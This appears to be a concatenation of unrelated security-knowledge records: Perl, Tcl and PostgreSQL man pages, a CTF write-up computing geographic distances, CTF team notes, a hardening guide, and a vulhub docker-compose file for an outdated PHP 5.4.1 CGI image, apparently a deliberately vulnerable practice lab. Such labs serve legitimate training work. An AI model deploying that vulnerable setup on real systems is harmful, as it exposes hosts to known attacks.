such as \fIObject Oriented Programming with Perl\fR by Damian Conway and
\&\fINetwork Programming with Perl\fR by Lincoln Stein.
.PP
An excellent technical book discounter is Bookpool at
http://www.bookpool.com/ where a 30% discount or more is not unusual.
.PP
What follows is a list of the books that the \s-1FAQ\s0 authors found personally
useful. Your mileage may (but, we hope, probably won't) vary.
.PP
Recommended books on (or mostly on) Perl follow.
.IP "References" 4
.IX Item "References"
.Vb 4
\& Programming Perl
\& by Larry Wall, Tom Christiansen, and Jon Orwant
\& ISBN 0-596-00027-8 [3rd edition July 2000]
\& http://www.oreilly.com/catalog/pperl3/
.Ve
.Sp
.Vb 4
\& Perl 5 Pocket Reference
\& by Johan Vromans
\& ISBN 0-596-00032-4 [3rd edition May 2000]
\& http://www.oreilly.com/catalog/perlpr3/
.Ve
.Sp
.Vb 4
\& Perl in a Nutshell
\& by Ellen Siever, Stephan Spainhour, and Nathan Patwardhan
\& ISBN 1-56592-286-7 [1st edition December 1998]
\& http://www.oreilly.com/catalog/perlnut/
.Ve
.IP "Tutorials" 4
.IX Item "Tutorials"
.Vb 4
\& Elements of Programming with Perl
\& by Andrew L. Johnson
\& ISBN 1-884777-80-5 [1st edition October 1999]
\& http://www.manning.com/Johnson/
.Ve
.Sp
.Vb 4
\& Learning Perl
\& by Randal L. Schwartz and Tom Phoenix
\& ISBN 0-596-00132-0 [3rd edition July 2001]
\& http://www.oreilly.com/catalog/lperl3/
.Ve
.Sp
.Vb 4
\& Learning Perl Objects, References, and Modules
\& by Randal L. Schwartz, with Tom Phoenix (foreword by Damian Conway)
\& ISBN 0-596-00478-8 [1st edition June 2003]
\& http://www.oreilly.com/catalog/lrnperlorm/
.Ve
.Sp
.Vb 5
\& Learning Perl on Win32 Systems
\& by Randal L. Schwartz, Erik Olson, and Tom Christiansen,
\& with foreword by Larry Wall
\& ISBN 1-56592-324-3 [1st edition August 1997]
\& http://www.oreilly.com/catalog/lperlwin/
.Ve
.Sp
.Vb 5
\& Perl: The Programmer's Companion
\& by Nigel Chapman
\& ISBN 0-471-97563-X [1997, 3rd printing Spring 1998]
\& http://www.wiley.com/compbooks/catalog/97563-X.htm
\& http://www.wiley.com/compbooks/chapman/perl/perltpc.html (errata etc)
.Ve
.Sp
.Vb 4
\& Cross-Platform Perl
\& by Eric Foster-Johnson
\& ISBN 1-55851-483-X [2nd edition September 2000]
\& http://www.pconline.com/~erc/perlbook.htm
.Ve
.Sp
.Vb 5
\& MacPerl: Power and Ease
\& by Vicki Brown and Chris Nandor,
\& with foreword by Matthias Neeracher
\& ISBN 1-881957-32-2 [1st edition May 1998]
\& http://www.macperl.com/ptf_book/
.Ve
.IP "Task-Oriented" 4
.IX Item "Task-Oriented"
.Vb 5
\& The Perl Cookbook
\& by Tom Christiansen and Nathan Torkington
\& with foreword by Larry Wall
\& ISBN 1-56592-243-3 [1st edition August 1998]
\& http://www.oreilly.com/catalog/cookbook/
.Ve
.Sp
.Vb 4
\& Effective Perl Programming
\& by Joseph Hall
\& ISBN 0-201-41975-0 [1st edition 1998]
\& http://www.awl.com/
.Ve
.IP "Special Topics" 4
.IX Item "Special Topics"
.Vb 4
\& Mastering Regular Expressions
\& by Jeffrey E. F. Friedl
\& ISBN 0-596-00289-0 [2nd edition July 2002]
\& http://www.oreilly.com/catalog/regex2/
.Ve
.Sp
.Vb 4
\& Network Programming with Perl
\& by Lincoln Stein
\& ISBN 0-201-61571-1 [1st edition 2001]
\& http://www.awlonline.com/
.Ve
.Sp
.Vb 5
\& Object Oriented Perl
\& Damian Conway
\& with foreword by Randal L. Schwartz
\& ISBN 1-884777-79-1 [1st edition August 1999]
\& http://www.manning.com/Conway/
.Ve
.Sp
.Vb 4
\& Data Munging with Perl
\& Dave Cross
\& ISBN 1-930110-00-6 [1st edition 2001]
\& http://www.manning.com/cross
.Ve
.Sp
.Vb 4
\& Mastering Perl/Tk
\& by Steve Lidie and Nancy Walsh
\& ISBN 1-56592-716-8 [1st edition January 2002]
\& http://www.oreilly.com/catalog/mastperltk/
.Ve
.Sp
.Vb 4
\& Extending and Embedding Perl
\& by Tim Jenness and Simon Cozens
\& ISBN 1-930110-82-0 [1st edition August 2002]
\& http://www.manning.com/jenness
.Ve
.Sh "和 Perl 有关的杂志"
.IX Subsection "Perl in Magazines"
The first (and for a long time, only) periodical devoted to All Things Perl,
\&\fIThe Perl Journal\fR contains tutorials, demonstrations, case studies,
announcements, contests, and much more. \fI\s-1TPJ\s0\fR has columns on web
development, databases, Win32 Perl, graphical programming, regular
expressions, and networking, and sponsors the Obfuscated Perl Contest
and the Perl Poetry Contests. Beginning in November 2002, \s-1TPJ\s0 moved to a
reader-supported monthly e\-zine format in which subscribers can download
issues as \s-1PDF\s0 documents. For more details on \s-1TPJ\s0, see http://www.tpj.com/
.PP
Beyond this, magazines that frequently carry quality articles on
Perl are \fIThe Perl Review\fR ( http://www.theperlreview.com ),
\&\fIUnix Review\fR ( http://www.unixreview.com/ ),
\&\fILinux Magazine\fR ( http://www.linuxmagazine.com/ ),
and Usenix's newsletter/magazine to its members, \fIlogin:\fR
( http://www.usenix.org/ )
.PP
The Perl columns of Randal L. Schwartz are available on the web at
http://www.stonehenge.com/merlyn/WebTechniques/ ,
http://www.stonehenge.com/merlyn/UnixReview/ , and
http://www.stonehenge.com/merlyn/LinuxMag/ .
.Sh "网路上的 Perl:接触 FTP 和 WWW"
.IX Subsection "Perl on the Net: FTP and WWW Access"
如果您想达到最好(还有最省钱)的传输效果,那麽从 http://www.cpan.org/SITES.html 所列的站台中任选其一,从上头把完整的映射站名单抓下来。然後您可以从中挑选一个对您来说传输最快的站台。.PP
也可以使用 xx.cpan.org ,其中 \*(L"xx\*(R" 是双字符的国家代码,例如澳大利亚可以使用 au.cpan.org. [注意:这只对至少包含了一个主机镜像的国家有效。]
.Sh "有哪些讨论 Perl 的邮件列表?"
.IX Subsection "What mailing lists are there for Perl?"
大部分的重要模组(如 Tk、CGI 和 libwww-perl)有专属各自的 mailing lists。有关资料请参考这些模组的使用说明。
.PP
完整的与 Perl 有关的邮件列表可以从这里找到:
.PP
.Vb 1
\& http://lists.perl.org/
.Ve
.Sh "comp.lang.perl.misc 的档案库"
.IX Subsection "Archives of comp.lang.perl.misc"
The Google search engine now carries archived and searchable newsgroup
content.
.PP
http://groups.google.com/groups?group=comp.lang.perl.misc
.PP
If you have a question, you can be sure someone has already asked the
same question at some point on c.l.p.m. It requires some time and patience
to sift through all the content but often you will find the answer you
seek.
.Sh "如何购买商业版本的 Perl?"
.IX Subsection "Where can I buy a commercial version of Perl?"
在某种程度上来说,Perl 已经算是商业软体了:您可以把 Perl的发行约定拿来细读给您的经理听。各发行版都附有这份条例清楚、明确的公约。Perl有广大的使用者及广泛的文献。comp.lang.perl.*等新闻讨论群组和各电子邮递论坛更是对各种疑难杂症提供迅速的解答。Perl 传统上一直是由 Larry、许多软体设计工程师,以及成千上万的程式写作者提供支援,大伙协力让人人过更美好的日子。
.PP
尽管如此,有些主管坚持只向附售後保证的公司下订单,这样子出了问题才可以告他们,故以上的回答可能无法令这类的经理满意。或许是这类的主管觉得亦步亦趋的扶持支援及很强的合约义务有其必要。市面上有卖用玻璃纸密封包装的 Perl 光碟,您可以试试看,或许对您的经理有效。
.PP
Alternatively, you can purchase commercial incidence based support
through the Perl Clinic. The following is a commercial from them:
.PP
"The Perl Clinic is a commercial Perl support service operated by
ActiveState Tool Corp. and The Ingram Group. The operators have many
years of in-depth experience with Perl applications and Perl internals
on a wide range of platforms.
.PP
\&\*(L"Through our group of highly experienced and well-trained support engineers,
we will put our best effort into understanding your problem, providing an
explanation of the situation, and a recommendation on how to proceed.\*(R"
.PP
Contact The Perl Clinic at
.PP
.Vb 1
\& www.PerlClinic.com
.Ve
.PP
.Vb 3
\& North America Pacific Standard Time (GMT-8)
\& Tel: 1 604 606-4611 hours 8am-6pm
\& Fax: 1 604 606-4640
.Ve
.PP
.Vb 3
\& Europe (GMT)
\& Tel: 00 44 1483 862814
\& Fax: 00 44 1483 862801
.Ve
.PP
See also www.perl.com for updates on tutorials, training, and support.
.Sh "如果发现 bugs要向何处报告?"
.IX Subsection "Where do I send bug reports?"
如果您发现 perl解译器或标准发行中的模组有 bugs ,想报知 perl 发布小组的 话,请使用 perl发行中所附的 perlbug 程式,或将您的报告 email 到 perlbug@perl.org .
.PP
如果您想报告的 bug是有关某个非标准发行的 perl(详见「哪些平台上有 Perl ?」一题的答案)、某可执行档形式的发行,或是某非标准的模组(譬如 Tk、CGI 等),那麽请参考它所附的使用说明,以确定最合适报告 bugs的地方。
.PP
详情请见 \fIperlbug\fR\|(1) 手册页 (perl5.004 或更新版本)。
.Sh "什麽是 perl.com? Perl Mongers? pm.org? perl.org? cpan.org?"
.IX Subsection "What is perl.com? Perl Mongers? pm.org? perl.org? cpan.org?"
The Perl Home Page at http://www.perl.com/ is currently hosted by
The O'Reilly Network, a subsidiary of O'Reilly and Associates.
.PP
Perl Mongers is an advocacy organization for the Perl language which
maintains the web site http://www.perl.org/ as a general advocacy
site for the Perl language.
.PP
Perl Mongers uses the pm.org domain for services related to Perl user
groups, including the hosting of mailing lists and web sites. See the
Perl user group web site at http://www.pm.org/ for more information about
joining, starting, or requesting services for a Perl user group.
.PP
Perl Mongers also maintain the perl.org domain to provide general
support services to the Perl community, including the hosting of mailing
lists, web sites, and other services. The web site
http://www.perl.org/ is a general advocacy site for the Perl language,
and there are many other sub-domains for special topics, such as
.PP
.Vb 4
\& http://bugs.perl.org/
\& http://history.perl.org/
\& http://lists.perl.org/
\& http://use.perl.org/
.Ve
.PP
http://www.cpan.org/ is the Comprehensive Perl Archive Network,
a replicated worlwide repository of Perl software, see
the \fIWhat is \s-1CPAN\s0?\fR question earlier in this document.
.SH "AUTHOR AND COPYRIGHT"
.IX Header "AUTHOR AND COPYRIGHT"
Copyright (c) 1997\-2001 Tom Christiansen and Nathan Torkington.
All rights reserved.
.PP
This documentation is free; you can redistribute it and/or modify it
under the same terms as Perl itself.
.PP
Irrespective of its distribution, all code examples here are in the public
domain. You are permitted and encouraged to use this code and any
derivatives thereof in your own programs for fun or for profit as you
see fit. A simple comment in the code giving credit to the \s-1FAQ\s0 would
be courteous but is not required.
.SH "译者"
.B 萧百龄,两只老虎工作室
|
sec-knowleage
|
# CyberTank AutoPilot
Miscellaneous
## Geo distance (100 points)
> CyberTank's autopilot backup system is not responding. Can you respond to the backup system's distance calculation?
>
> Flag format: CTF{32-hex}
A TCP server address was attached. Let's connect to it:
```console
root@kali:/media/sf_CTFs/hackazon/CyberTank_AutoPilot# nc portal.hackazon.org 17001
__.---.___
___/__\_O_/___\___
/___ __________ ___\
|===|\________/|===|
_______|===|__________|===|______
CYBERTANK AutoPilot System
[X] We are in Republic of Iceland
[X] Current position: (-17.990612, 63.647031)
[X] Navigating to: (-16.815328, 64.150291)
[?] Distance (km):
```
Looks like we need to provide the distance between two coordinates. These coordinates look like longitude and latitude:
```console
root@kali:/media/sf_CTFs/hackazon/CyberTank_AutoPilot# curl -s https://geocode.xyz/63.647031,-17.990612?json=1 | tr ',' '\n' | grep country
"country" : "Iceland"
```
The country is Iceland like the server claimed.
We can use a Python library like `geopy` to calculate the correct distance:
```python
from pwn import *
import geopy.distance
import re
def get_coordinates(line):
match = re.search(r"[^(]+\(([^)]+), ([^)]+)\)", line)
if match:
long = match.group(1)
lat = match.group(2)
return long, lat
raise Exception("Can't find coordinates in '{}'".format(line))
def calculate_distance(lon1, lat1, lon2, lat2):
distance = geopy.distance.distance((lon1, lat1), (lon2, lat2)).km
return distance
r = remote("portal.hackazon.org", 17001)
r.recvuntil("CYBERTANK AutoPilot System\n\n\t\n")
while True:
line = r.recvline()
if "CTF" in line:
log.success(line)
break
else:
location = line.replace("[X] We are in", "")
log.info("Location: {}".format(location))
current_position = r.recvline()
destination = r.recvline()
long1, lat1 = get_coordinates(current_position)
log.info("Current position: ({}, {})".format(long1, lat1))
long2, lat2 = get_coordinates(destination)
log.info("Destination: ({}, {})".format(long2, lat2))
distance = calculate_distance(float(long1), float(lat1), float(long2), float(lat2))
answer = "{0:.16f}".format(distance)
log.info("Distance: {}".format(answer))
r.sendlineafter("[?] Distance (km):", answer)
status = r.recvline()
if "FAILED" in status:
break
```
Output:
```console
root@kali:/media/sf_CTFs/hackazon/CyberTank_AutoPilot# python 2.py
[+] Opening connection to portal.hackazon.org on port 17001: Done
[*] Location: Republic of Tajikistan
[*] Current position: (73.357784, 39.801215)
[*] Destination: (72.962823, 40.222384)
[*] Distance: 46.1346027233250169
[*] Location:
[*] Current position: (12.880536, 35.500332)
[*] Destination: (12.678708, 35.503398)
[*] Distance: 22.3304364088240561
[*] Location: Froyar Is. (Faeroe Is.)
[*] Current position: (-6.866839, 62.018628)
[*] Destination: (-7.023020, 62.323813)
[*] Distance: 37.8910294796722127
[*] Location:
[*] Current position: (17.187432, 45.126085)
[*] Destination: (18.666251, 44.064077)
[*] Distance: 198.6175621435025676
[*] Location: Republic of Kenya
[*] Current position: (34.494219, 1.418301)
[*] Destination: (40.215718, 1.065226)
[*] Distance: 635.7662949929762135
[+] [+] Autopilot tests passed. Have a flag! CTF{57aaa5145945d96f59b3a0d4c335f440}
[*] Closed connection to portal.hackazon.org port 17001
```
|
sec-knowleage
|
version: '2'
services:
php:
image: vulhub/php:5.4.1-cgi
volumes:
- ./www:/var/www/html
ports:
- "8080:80"
|
sec-knowleage
|
quotaon
===
激活Linux内核中指定文件系统的磁盘配额功能
## 补充说明
**quotaon命令** 执行quotaon指令可开启磁盘对用户和群组的空间使用限制,但在开启前,各分区的文件系统根目录必须存在通过quotacheck命令创建的quota配置文件。
### 语法
```shell
quotaon(选项)(参数)
```
### 选项
```shell
-a:开启在/ect/fstab文件里,有加入quota设置的分区的空间限制;
-g:开启群组的磁盘空间限制;
-u:开启用户的磁盘空间限制;
-v:显示指令指令执行过程。
```
### 参数
文件系统:指定要激活磁盘配额功能的文件系统。
|
sec-knowleage
|
# SCS CTF 2018
Team: msm, rev, nazywam, rodbert, sasza, chivay, des, eternal, psrok1
### Table of contents
* [binary (re)](re_binary)
* [xors (crypto)](crypto_xor)
* [rots (crypto)](crypto_rot)
* [serialize (web)](web_serialize)
### Notes:
Actually there was a 3-person limit for a team, so we started as three separate teams:
- p4-indigo: msm, rev, nazywam
- p4-lime: rodbert, sasza, chivay
- p4-orange: des, eternal, psrok1
Also I don't remember the original task names, so I had to invent my own.
|
sec-knowleage
|
# Writeups for Confidence Teaser 2016
Team: c7f.m0d3, akrasuski1, cr019283, nazywam, shalom, mnmd21891, msm, rev
### Table of contents
* [Amazeing](network_ppc_amazeing)
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: close.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: close.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH close 3tcl 7.5 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
close \- 关闭一个打开了的通道
.SH "总览 SYNOPSIS"
\fBclose \fIchannelId\fR
.BE
.SH "描述 DESCRIPTION"
.PP
关闭由 \fIchannelId\fR 给出的通道。\fIChannelId\fR 必须是一个通道标识符,是以前的 \fBopen\fR 或 \fBsocket\fR 命令的返回值。向通道的输出设备刷新所有的缓冲了的输出,丢弃所有缓冲了的输入,关闭底层的文件或设备,并且 使用 \fIchannelId\fR 变成无效。
.VS "" br
.PP
如果通道正在阻塞(block),在刷新所有输出之前命令不返回。如果通道未阻塞并且有未刷新的(unflushed)输出,通道保持打开而命令立即返回;将在后台刷新输出并且在刷新完成时关闭通道。
.VE
.PP
如果 \fIchannelId\fR 是用于一个命令管道的一个阻塞通道,则 \fBclose\fR 等待子进程完成。
.VS "" br
.PP
如果通道在解释器间共享,则 \fBclose\fR 使 \fIchannelId\fR 在调用它的解释器中无效而在所有的共享解释器关闭这个通道之前不起其他作用。当在其中注册了这个通道的最后一个解释器调用 \fBclose \fR时,上面描述的清除动作发生。关于通道共享的描述请参见 \fBinterp\fR 命令。
.PP
在解释器被销毁和进程退出时自动的关闭通道。通道被切换到阻塞模式,用以确保(ensure)在进程退出之前正确的刷新所有的输出。
.VE
.PP
命令返回一个空串,如果在刷新输出时发生了错误它可以产生一个错误。
.SH "参见 SEE ALSO"
file(n), open(n), socket(n), eof(n)
.SH "关键字 KEYWORDS"
blocking, channel, close, nonblocking
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/07/03
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 加固
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 大纲
* **[基线核查](#基线核查)**
* **[操作系统](#操作系统)**
* [Linux](#linux)
* [Windows](#windows)
* **[web服务和中间件](#web服务和中间件)**
* **[业务软件](#业务软件)**
* [数据库](#数据库)
* [mysql](#mysql)
* [远程服务](#远程服务)
* [SSH](#ssh)
---
## 基线核查
**资源**
- [CIS Benchmarks](https://learn.cisecurity.org/benchmarks) - 安全配置建议,内容很多,虽然是英文版本
- [re4lity/Benchmarks](https://github.com/re4lity/Benchmarks) - 常用服务器、数据库、中间件安全配置基线
- [trimstray/linux-hardening-checklist](https://github.com/trimstray/linux-hardening-checklist) - linux 安全配置的核查
**相关工具**
- [lis912/CapOS](https://github.com/lis912/CapOS) - 等级保护测评 windows 基线检查
- [lis912/Evaluation_tools](https://github.com/lis912/Evaluation_tools) - 安全基线检查工具
- [xiaoyunjie/Shell_Script](https://github.com/xiaoyunjie/Shell_Script) - Linux 系统检测和加固脚本
- [CISOfy/lynis](https://github.com/CISOfy/lynis) - 基于 UNIX 系统(例如 Linux,macOS,BSD 等)的安全审核工具。
- [tangjie1/-Baseline-check](https://github.com/tangjie1/-Baseline-check) - windows和linux基线检查,配套自动化检查脚本
- [chroblert/SecurityBaselineCheck](https://github.com/chroblert/SecurityBaselineCheck) - 安全基线检查平台
---
## 操作系统
### Linux
- [Secure-Linux](../../Integrated/Linux/Secure-Linux.md)
### Windows
- [Secure-Win](../../Integrated/Windows/Secure-Win.md)
**相关文章**
- [Windows安全加固](https://www.freebuf.com/column/201869.html)
- [Windows服务器主机加固分享](https://www.freebuf.com/articles/system/215787.html)
- [windows安全防护](https://www.freebuf.com/column/195870.html)
**相关工具**
- [vletoux/pingcastle](https://github.com/vletoux/pingcastle) - Active Directory Security
**加固指南**
- [beerisgood/Windows11_Hardening](https://github.com/beerisgood/Windows11_Hardening) - A collection about Windows 11 security
---
## web服务和中间件
**相关文章**
- [PHP安全我见](https://www.leavesongs.com/PENETRATION/php-secure.html)
---
## 业务软件
### 数据库
#### mysql
**删除匿名帐户**
```sql
mysql> delete from user where user='';
mysql> flush privileges;
```
**检查是否有不恰当的授权文件**
```bash
ls -al .bash_history # 应为 600 权限
ls -al /etc/my.cnf # 应为 644 权限
find / -name .MYD |xargs ls -al # 应为 600 权限
find / -name .MYI |xargs ls -al # 应为 600 权限
find / -name .frm |xargs ls -al # 应为 600 权限
```
**检查 MySQL 是否允许读取主机上的文件**
检查是否在 /etc/my.cnf 中设置
在文件中添加:`set-variable=local-infile=0`
完成后按键盘的 ECS 键,输入 :wq,进行保存退出
**检查 mysqld 是否以普通帐户运行(通常就是 mysql 用户)**
可以通过在 /etc/my.cnf 中设置:
添加以下:
```vim
vim /etc/mysql/my.cnf
[mysql.server]
user=mysql
```
### 远程服务
#### SSH
- 该部分内容参考 [Secure-Linux](../../Integrated/Linux/Secure-Linux.md#SSH)
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE OPERATOR CLASS" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE OPERATOR CLASS \- 定义一个新的操作符类
.SH SYNOPSIS
.sp
.nf
CREATE OPERATOR CLASS \fIname\fR [ DEFAULT ] FOR TYPE \fIdata_type\fR USING \fIindex_method\fR AS
{ OPERATOR \fIstrategy_number\fR \fIoperator_name\fR [ ( \fIop_type\fR, \fIop_type\fR ) ] [ RECHECK ]
| FUNCTION \fIsupport_number\fR \fIfuncname\fR ( \fIargument_type\fR [, ...] )
| STORAGE \fIstorage_type\fR
} [, ... ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBCREATE OPERATOR CLASS\fR 定义一个新的操作符表。 一个操作符表定义一种特定的数据类型可以如何与一种索引一起使用。 操作符表声明特定的操作符可以为这种数据类型以及这种索引方法填充特定角色或者"策略"。 操作符表还声明索引方法在为一个索引字段选定该操作符表的时候要使用的支持过程。 所有操作符表使用的函数和操作符都必须在创建操作符表之前定义。
.PP
如果给出了模式名字,那么操作符表就在指定的模式中创建。 否则就在当前模式中创建(在搜索路径前面的那个;参阅 CURRENT_SCHEMA())。 在同一个模式中的两个操作符表可以有同样的名字,但它们必须用于不同的索引方法。
.PP
定义操作符表的用户成为其所有者。目前,创造者必须是超级用户。 (作这样的限制是因为一个有问题的操作符表定义会让服务器困惑,甚至崩溃。)
.PP
\fBCREATE OPERATOR CLASS\fR 目前并不检查这个类定义是否包含所有索引方法需要操作符以及函数。 定义一个合法的操作符表是用户的责任。
.PP
参考 ``Interfacing Extensions to Indexes'' 获取更多信息。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
将要创建的操作符表的名字。名字可以用模式修饰。
.TP
\fBDEFAULT\fR
如果出现了这个键字,那么该操作符表将成为它的数据类型的缺省操作符表。 对于某个数据类型和访问方式而言,最多可以有一个操作符表是缺省的。
.TP
\fB\fIdata_type\fB\fR
这个操作符表处理的字段数据类型。
.TP
\fB\fIindex_method\fB\fR
这个操作符表处理的索引访问方式的名字。
.TP
\fB\fIstrategy_number\fB\fR
一个操作符和这个操作符表关联的索引访问方式的策略数。
.TP
\fB\fIoperator_name\fB\fR
一个和该操作符表关联的操作符的名字(可以用模式修饰)。
.TP
\fB\fIop_type\fB\fR
一个操作符的输入数据类型,或者是 NONE 表示左目或者右目操作符。 通常情况下可以省略输入数据类型,因为这个时候它们和操作符表的数据类型相同。
.TP
\fBRECHECK\fR
如果出现,那么索引对这个操作符是"lossy"(有损耗的), 因此,使用这个索引检索的行必须重新检查,以保证它们真正满足和此操作符相关的条件子句。
.TP
\fB\fIsupport_number\fB\fR
索引方法对一个与操作符表关联的函数的支持过程数。
.TP
\fB\fIfuncname\fB\fR
一个函数的名字(可以有模式修饰),这个函数是索引访问方式对此操作符表的支持过程。
.TP
\fB\fIargument_types\fB\fR
函数的参数数据类型。
.TP
\fB\fIstorage_type\fB\fR
实际存储在索引里的数据类型。通常它和字段数据类型相同, 但是一些索引方法(到目前为止只有 GIST)允许它是不同的。 除非索引方法允许使用一种不同的类型,否则必须省略 STORAGE 子句。
.PP
OPERATOR,FUNCTION,和 STORAGE 子句可以按照任意顺序出现。
.PP
.SH "EXAMPLES 例子"
.PP
下面的例子命令为数据类型 _int4(int4 的数组)定义了一个 GiST 索引操作符表。 参阅 contrib/intarray/ 获取完整的例子。
.sp
.nf
CREATE OPERATOR CLASS gist__int_ops
DEFAULT FOR TYPE _int4 USING gist AS
OPERATOR 3 &&,
OPERATOR 6 = RECHECK,
OPERATOR 7 @,
OPERATOR 8 ~,
OPERATOR 20 @@ (_int4, query_int),
FUNCTION 1 g_int_consistent (internal, _int4, int4),
FUNCTION 2 g_int_union (bytea, internal),
FUNCTION 3 g_int_compress (internal),
FUNCTION 4 g_int_decompress (internal),
FUNCTION 5 g_int_penalty (internal, internal, internal),
FUNCTION 6 g_int_picksplit (internal, internal),
FUNCTION 7 g_int_same (_int4, _int4, internal);
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
